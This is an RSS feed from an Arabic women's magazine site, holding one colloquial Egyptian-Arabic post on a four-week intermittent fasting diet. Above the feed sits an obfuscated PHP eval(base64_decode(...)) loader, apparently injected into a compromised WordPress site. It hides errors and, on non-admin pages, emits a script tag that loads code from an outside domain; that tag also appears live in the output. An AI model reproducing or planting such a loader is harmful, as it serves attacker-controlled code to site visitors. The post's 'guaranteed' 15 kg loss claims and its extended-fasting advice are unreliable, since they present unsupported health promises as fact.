eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | وجبات نظام الصيام المتقطع</title>
	<atom:link href="https://jouzal.com/tag/%d9%88%d8%ac%d8%a8%d8%a7%d8%aa-%d9%86%d8%b8%d8%a7%d9%85-%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Thu, 19 Jan 2023 00:17:20 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | وجبات نظام الصيام المتقطع</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>رجيم الصيام المتقطع بالتفصيل الممل نظام كامل 4 اسابيع لحرق دهون 15 كيلو عن تجربة</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d8%a7%d9%84%d9%85%d9%85%d9%84-%d9%86%d8%b8/</link>
		
		<dc:creator><![CDATA[زينب محمد]]></dc:creator>
		<pubDate>Tue, 01 Dec 2020 18:19:02 +0000</pubDate>
				<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[#اكلات الصيام المتقطع]]></category>
		<category><![CDATA[#الصيام المتقطع لانقاص الوزن]]></category>
		<category><![CDATA[#الصيام المتقطع للسيدات]]></category>
		<category><![CDATA[#عدد ساعات الصيام]]></category>
		<category><![CDATA[#نظام الصيام المتقطع]]></category>
		<category><![CDATA[#وجبات الصيام المتقطع]]></category>
		<category><![CDATA[الصيام المتقطع]]></category>
		<category><![CDATA[الصيام المتقطع سالي فؤاد]]></category>
		<category><![CDATA[خسارة الوزن]]></category>
		<category><![CDATA[دايت الصيام المتقطع]]></category>
		<category><![CDATA[رجيم الصيام المتقطع]]></category>
		<category><![CDATA[رجيم الصيام المتقطع بالتفصيل]]></category>
		<category><![CDATA[شرح نظام الصيام المتقطع]]></category>
		<category><![CDATA[وجبات دايت الصيام المتقطع]]></category>
		<category><![CDATA[وجبات رجيم الصيام]]></category>
		<category><![CDATA[وجبات نظام الصيام المتقطع]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=4867</guid>

					<description><![CDATA[يبحث العديد من الأشخاص الراغبين في فقدان الوزن وخسارة المزيد من الكيلوجرامات عن رجيم الصيام المتقطع بالتفصيل ، نظرا لشهرته وفاعليته القوية في حرق الدهون بإنتظام وشكل صحي، وسننشر لكم عبر مجلتنا جوزال نظام الصيام المتقطع كامل لمدة 4 اسابيع مجرب ومضمون، وسنذكر لكم طريقة تطبيق الدايت بشكل بسيط وباللغة العامية. رجيم الصيام المتقطع بالتفصيل [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>يبحث العديد من الأشخاص الراغبين في فقدان الوزن وخسارة المزيد من الكيلوجرامات عن رجيم الصيام المتقطع بالتفصيل ، نظرا لشهرته وفاعليته القوية في حرق الدهون بإنتظام وشكل صحي، وسننشر لكم عبر مجلتنا جوزال نظام الصيام المتقطع كامل لمدة 4 اسابيع مجرب ومضمون، وسنذكر لكم طريقة تطبيق الدايت بشكل بسيط وباللغة العامية.</p>
<h2>رجيم الصيام المتقطع بالتفصيل</h2>
<p>عشان بس الناس اللي هتبدأ من يوم السبت (بجدددد <strong><a href="https://jouzal.com/%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%af%d8%a7%d9%8a%d8%aa-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d8%a7%d8%b3%d8%b1%d8%b9-%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d9%88%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-20-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%b4%d9%87%d8%b1%d9%8a%d9%86/">النظام السحري بالتفصيل</a></strong>، ‎ نظام الصيام المتقطع كامل ٤ اسابيع &#8220;تغذيه+المكملات الغذائيه اللي بتساعد ع الحرق&#8221; ‎و يمكن تجديده للوصول للوزن المطلوب</p>
<ul>
<li>‎نوم ٨ ساعات علي الاقل.</li>
<li>شرب ٣ لتر مياه.</li>
<li>صيام ١٦ ساعه.</li>
<li>الاكل خلال ٨ ساعات.</li>
</ul>
<p><strong>ملحوظة:</strong> أول حاجه بالنسبه للمكملات ( دا اختياري هي حاجه مساعده و مش لازم كله مع بعضه براحتك ممكن حاجه واحده.</p>
<p>اوميجا ٣ حبايه واحده بعد الغداء.</p>
<p>لنضاره الوش حبايه من حبوب الخميره قبل الفطار و قبل النوم.</p>
<p>عشان ننقص المياه الزايده.</p>
<p>شاي اخضر ٣ مرات في اليوم.</p>
<p>شاي اخضر الكاي.</p>
<h2>وصفة البقدونس المغلي</h2>
<p>بقدونس علي كرفس و دا ممكن تعمليه في البيت حزمه بقدونس اضربيها في الخلاط و حطي عليها مياه مغليه ، او هاتيها من امتنان.</p>
<p>الرياضه فوق ١٠٠ كيلو هيبقي مشي بس عشان الركبه نص ساعه كل يوم.</p>
<p>الرياضه ل تحت ١٠٠ في البيت او الجيم.</p>
<p><strong>يهمك ايضاً: <a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d8%b5%d9%8a%d8%a7%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d9%82%d8%b7%d8%b9-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-15-%d9%83/">رجيم الصيام المتقطع بالتفصيل لخسارة 15 كيلو في شهر بدون حرمان</a></strong></p>
<h2>نظام الصيام المتقطع كامل</h2>
<p>‎السناك بعد الوجبه ب ٤ساعات و ممكن مناخدهوش هيكون خيار و جرجير و خس و قته اي كميه.</p>
<p>ثمرتين او ٣ فاكهه ‎&#8221;تفاح او كمثري كيوي اناناس برتقال شريحه بطيخ جوافه&#8221; ‎اي حاجه تانيه ثمره واحده بس مرتين بس في الاسبوع.</p>
<h2>فطار الصيام المتقطع</h2>
<p>الفطار مثلا الساعه ١٢ الظهر &#8220;اختياري و الاحسن تنوعي مش كل يوم نفس الفطار&#8221;، يمكنك اختيار اي وجبة من الوجبات التالية:</p>
<ul>
<li>٤ معالق فول من غير زيت او سمنه + ربع رغيف بلدي.</li>
<li>٢ بيضه مسلوقه + ربع رغيف بلدي.</li>
<li>قطعتين جبنه قريش + ربع رغيف بلدي.</li>
<li>٤ معلقه شوفان + لبن خالي الدسم.</li>
<li>٣ معالق كورن فليكس + لبن خالي الدسم.</li>
<li>٤ بسكويت دايچيستيف لايت.</li>
<li>٣ ثمرات فاكهه &#8220;تفاح او كثري او كيوي او جوافه من غير بذر.</li>
</ul>
<h2>الغداء في الصيام المتقطع</h2>
<p>الأسبوع الاول: الساعه ٥ بليل هيكون &#8220;نشويات+ بروتينات + خضار&#8221;.</p>
<p>الأسبوع الثاني والرابع: هيكون الغداء من غير نشويات &#8220;بروتين+ خضار&#8221;.</p>
<p>الأسبوع الثالث: &#8220;٣ ايام نشويات و ٣ايام من غير نشويات&#8221;.</p>
<p><strong>شاهدي ايضاً: <a href="https://jouzal.com/%d9%85%d9%85%d9%8a%d8%b2%d8%a7%d8%aa-%d9%88%d8%a7%d8%b3%d8%b9%d8%a7%d8%b1-%d9%85%d9%86%d8%aa%d8%ac-%d8%b3%d8%aa%d9%8a%d9%81%d9%8a%d8%a7-%d8%b3%d9%88%d9%8a%d8%aa%d9%86%d8%b1-%d8%a7%d9%84%d8%ac%d8%af%d9%8a%d8%af-%d9%84%d9%84%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-%d9%85%d9%86-%d8%b3%d8%a7%d9%84%d9%8a-%d9%81%d8%a4%d8%a7%d8%af/">مميزات واسعار سكر ستيفيا سويتنر الجديد للتخسيس من سالي فؤاد</a></strong></p>
<h2>وجبات الغداء دايت الصيام المتقطع</h2>
<p>البروتينات : ‎نصف فرخه ( صدور) مسلوقه او مشوي.</p>
<p>سمكتين من اي نوع بس يكون مشوي او في الفرن.</p>
<ul>
<li>٢ بيضه مسلوقه.</li>
<li>صدر ارنب.</li>
<li>علبه تونه.</li>
<li>كفته من غير دهون تكون معموله في البيت.</li>
<li>جمبري مشوي.</li>
<li>جبنه قريش.</li>
<li>الخضار.</li>
</ul>
<p>سلطه خضراء + خضار مسلوق او مشوي باي كمية ‎&#8221;كوسه او فاصوليا او باميه او سبانخ او بروكلي&#8221;.</p>
<p><strong>النشويات</strong> ‎من ٩ ل ٤ معالق رز من غير سمنه او زيت، ‎لو هتاكلي رز مطبوخ بسمنه او زيت يبقي ٣ معالق بس ‎او ٢ توست بني ‎او ربع رغيف بلدي ‎او رغيف سن.</p>
<p><iframe title="الحل النهائي لمشكلة خمول الغدة الدرقية مع التخسيس وصفة + رجيم لحرق دهون 32 كيلو" width="1080" height="608" src="https://www.youtube.com/embed/-rHbq3gkjco?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>
<h2>العشاء في الصيام المتقطع</h2>
<p>نذكر لكم وجبة العشاء في نظام الصيام المتقطع بالتفصيل كالتالي:</p>
<ul>
<li>العشاء الساعه ٨.</li>
<li>‎جبنه قريش + سلطه.</li>
<li>كوبايه زبادي+ خضار.</li>
<li>٢ بيضه مسلوقه + سلطه.</li>
</ul>
<h2>عدد ساعات الصيام</h2>
<p>‎ 12 ساعه صيام &#8220;و ينفع كبدايه&#8221;:</p>
<ul>
<li>‎نوم 8 ساعات صيام ساعتين قبل النوم و ساعتين قبل الفطار ‎14 ساعه صيام.</li>
<li>‎نوم 8 ساعات صيام 3 ساعات قبل النوم و 3 ساعات قبل الفطار ‎16 ساعه.</li>
<li>‎نوم 8 ساعات صيام 4 ساعات قبل النوم و 4 ساعات قبا الفطار ‎18 ساعة.</li>
<li>‎نوم 8 ساعات صيام 5 ساعات قبل النوم و 5 ساعات قبل الفطار ‎20 ساعة.</li>
<li>‎نوم 8 ساعات صيام 6 ساعات قبل النوم و 6 ساعات قبل الفطار ‎24 ساعه ودا اسمه omad=one meal a day ‎ يعني وجبه واحده فقط في اليوم.</li>
</ul>
<h2>فترة الأكل</h2>
<p>‎نيجي بقي لفتره الاكل اللي هي اهم من الصيام نفسه ‎سواء هناكل وجبتين او 3 بيبقي مش اقل م 4 او 5 ساعات صيام تاني بينهم ‎لانه اسمه صيام متقطع فبالتالي لازم نصوم تاني بين الوجبات.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>